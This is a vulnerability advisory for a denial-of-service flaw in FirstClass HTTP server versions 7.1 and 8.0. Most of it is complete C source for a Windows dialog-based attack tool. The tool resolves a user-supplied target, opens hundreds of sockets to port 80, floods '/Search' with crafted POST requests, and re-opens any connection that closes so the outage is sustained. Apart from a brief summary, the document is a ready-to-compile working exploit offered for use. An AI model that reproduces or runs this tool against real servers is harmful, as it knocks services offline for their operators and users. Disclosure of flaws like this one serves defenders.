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FirstClass HTTP Large Request Handling DoS
------------------------------------------------------------------------
SUMMARY
Presented belows is an exploit code for <http://www.firstclass.com/>
FirstClass's HTTP Large Request DoS.
DETAILS
Vulnerable Systems:
* FirstClass Version 7.1 and 8.0. (Prior versions may be also vulnerable)
The vulnerability is caused due to an error in the handling of large
requests. This can e.g. be exploited to potentially cause a vulnerable
server to stop responding or function correctly by sending a large amount
of POST requests to "/Search" over multiple connections.
Exploit Code:
/*
written by dilaurdimag
released on 9.12.04
compile with ms vc++
remember to link with winsock
*/
#define WIN32_LEAN_AND_MEAN
#include "windows.h"
#define IDD_MAIN 101
#define IDI_MAIN 103
#define IDC_SERV 1000
#define IDC_SOCKS 1002
#define IDHALT 1004
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 104
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1005
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif //
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#define WM_WSAASYNC (WM_USER +5)
BOOL CALLBACK DlgProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam);
int startupClient(HWND hDlg);
void StopDoS();
void EnableDoSButton(HWND hDlg);
void DisableDoSButton(HWND hDlg);
struct hostent *host_entry;
struct sockaddr_in server;
WSAData wsaData;
char *request="POST /Search HTTP/1.1\nAccept: image/gif, image/x-xbitmap,
image/jpeg, image/pjpeg, application/x-shockwave-flash,
application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword,
*/*\nAccept-Language: en-us\nContent-Type:
application/x-www-form-urlencoded\nAccept-Encoding: gzip,
deflate\nContent-Length: 291\nConnection: Keep-Alive\nCache-Control:
no-cache\n\nCharSet=ISO-8859-1&FieldID%3A1211.0%3DLONG=0&FieldID%3A1202%3DSTRING=&\
FieldID%3A1208%3DCHECKBOX=on&FieldID%3A1206%3DCHECKBOX=on&FieldID%3A1204%3DCHECKBOX=on&\
FieldID%3A1207%3DCHECKBOX=on&FieldID%3A1205%3DCHECKBOX=on&FieldID%3A1209%3DCHECKBOX=on&\
FieldID%3A1212%3DCHECKBOX=on&Input%3A1211.0=+--\n\n";
char target[101];
__int64 timer;
int *mySocket, sockets=256, isDoS=0, sustain=0, count=0;
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR
lpCmdLine, int nCmdShow)
{
DialogBoxParam(hInstance, MAKEINTRESOURCE(IDD_MAIN), NULL,
(DLGPROC)DlgProc, 0);
return 0;
}
BOOL CALLBACK DlgProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
switch(uMsg)
{
case WM_INITDIALOG:
int error;
if ((error = WSAStartup(MAKEWORD(2, 2), &wsaData)) == SOCKET_ERROR){
MessageBox(hDlg, "Could not initialize winsock! Try looking for a winsock
update.", "Fatal Error", MB_OK|MB_ICONSTOP); SendMessage(hDlg, WM_CLOSE,
0,
0); }
EnableDoSButton(hDlg);
SetDlgItemText(hDlg, IDC_SERV, "");
SetDlgItemInt(hDlg, IDC_SOCKS, 256, 0);
return(false);
case WM_COMMAND:
if(wParam==IDOK)
{
DisableDoSButton(hDlg);
EnableWindow(GetDlgItem(hDlg, IDHALT), 0);
GetDlgItemText(hDlg, IDC_SERV, target, 100);
sockets = GetDlgItemInt(hDlg, IDC_SOCKS, 0, 0);
if(sockets<2){
MessageBox(hDlg, "You need more sockets to cause a DoS!", "User
Error",
MB_OK|MB_ICONWARNING);
EnableDoSButton(hDlg);
}else if(strlen(target)<1){
MessageBox(hDlg, "You need to specify a target!", "User Error",
MB_OK|MB_ICONWARNING);
EnableDoSButton(hDlg);
}else if(!gethostbyname(target)){
MessageBox(hDlg, "Unable to resolve target!", "DNS Error",
MB_OK|MB_ICONWARNING);
EnableDoSButton(hDlg);
}else
{
DisableDoSButton(hDlg);
host_entry = gethostbyname(target);
server.sin_family = AF_INET;
server.sin_port = htons(80);
server.sin_addr.s_addr = *(unsigned long*) host_entry->h_addr;
mySocket = (int*)realloc(mySocket, sizeof(int)*sockets);
if(mySocket==NULL){
mySocket = (int*)realloc(mySocket, sizeof(int)*sockets);
if(mySocket==NULL){
SetFocus(hDlg);
MessageBox(hDlg, "Too many sockets and not enough memory.", "Memory
allocation failed!", MB_OK|MB_ICONWARNING);
EnableDoSButton(hDlg);
}
}else{
memset(mySocket, 0, sizeof(mySocket));
isDoS=1;
PostMessage(hDlg, WM_WSAASYNC, 0, 0);
}
}
}else if(wParam==IDHALT)
{
sustain=0;
count=0;
isDoS=0;
StopDoS();
EnableDoSButton(hDlg);
SetFocus(hDlg);
StopDoS();
MessageBox(hDlg, "All sockets have been shutdown!", "Information",
MB_OK|MB_ICONINFORMATION);
}
return(false);
case WM_CLOSE:
WSACleanup();
DestroyWindow(hDlg);
return(true);
case WM_WSAASYNC:
if(isDoS)
{
mySocket[count] = startupClient(hDlg);
SetDlgItemInt(hDlg, IDC_SOCKS, sockets-count, 0);
if(count<sockets) count++;
else{
count=0;
isDoS=0;
sustain=1;
EnableWindow(GetDlgItem(hDlg, IDHALT), 0);
SetFocus(hDlg);
MessageBox(hDlg, "DoS in progress! Click OK to release sockets.",
"Information", MB_OK|MB_ICONINFORMATION);
PostMessage(hDlg, WM_COMMAND, IDHALT, 0);
}
}else if(sustain==1)
{
if(GetTickCount()>timer)
{
int fcount;
for(fcount=0; fcount<sockets+1; fcount++) if(mySocket[fcount]==0)
break;
if(fcount==sockets && mySocket[fcount]!=0)
{
MessageBox(hDlg, "all sockets where disconnected!", "DEBUG", MB_OK);
}else{
mySocket[fcount] = startupClient(hDlg);
}
timer=GetTickCount()+1000;
}
}
if(WSAGETSELECTEVENT(lParam)==FD_CONNECT)
{
send(wParam, request, strlen(request), 0);
}else if(WSAGETSELECTEVENT(lParam)==FD_CLOSE)
{
if(isDoS)
{
int icount;
for(icount=0; icount<sockets+1; icount++) if((unsigned
int)mySocket[icount]==wParam) break;
closesocket(wParam);
mySocket[icount] = startupClient(hDlg);
}else if(sustain)
{
int icount;
for(icount=0; icount<sockets+1; icount++) if((unsigned
int)mySocket[icount]==wParam) break;
closesocket(wParam);
mySocket[icount] = startupClient(hDlg);
}
}
}
return(false);
}
int startupClient(HWND hDlg) {
int tmpSocket = socket(AF_INET, SOCK_STREAM, 0);
if (tmpSocket == SOCKET_ERROR) return 0;
WSAAsyncSelect(tmpSocket, hDlg, WM_WSAASYNC, FD_CONNECT|FD_CLOSE);
int error = connect(tmpSocket, (sockaddr*)&server, sizeof(server));
if(error) tmpSocket=0;
return tmpSocket;
}
void StopDoS()
{
int hcount;
for(hcount=0; hcount<sockets+1; hcount++) closesocket(mySocket[hcount]);
}
void EnableDoSButton(HWND hDlg)
{
EnableWindow(GetDlgItem(hDlg, IDHALT), 0);
EnableWindow(GetDlgItem(hDlg, IDC_SERV), 1);
EnableWindow(GetDlgItem(hDlg, IDC_SOCKS), 1);
EnableWindow(GetDlgItem(hDlg, IDOK), 1);
}
void DisableDoSButton(HWND hDlg)
{
EnableWindow(GetDlgItem(hDlg, IDOK), 0);
EnableWindow(GetDlgItem(hDlg, IDC_SERV), 0);
EnableWindow(GetDlgItem(hDlg, IDC_SOCKS), 0);
EnableWindow(GetDlgItem(hDlg, IDHALT), 1);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:tambarus@hotmail.com> Anand
Khare.
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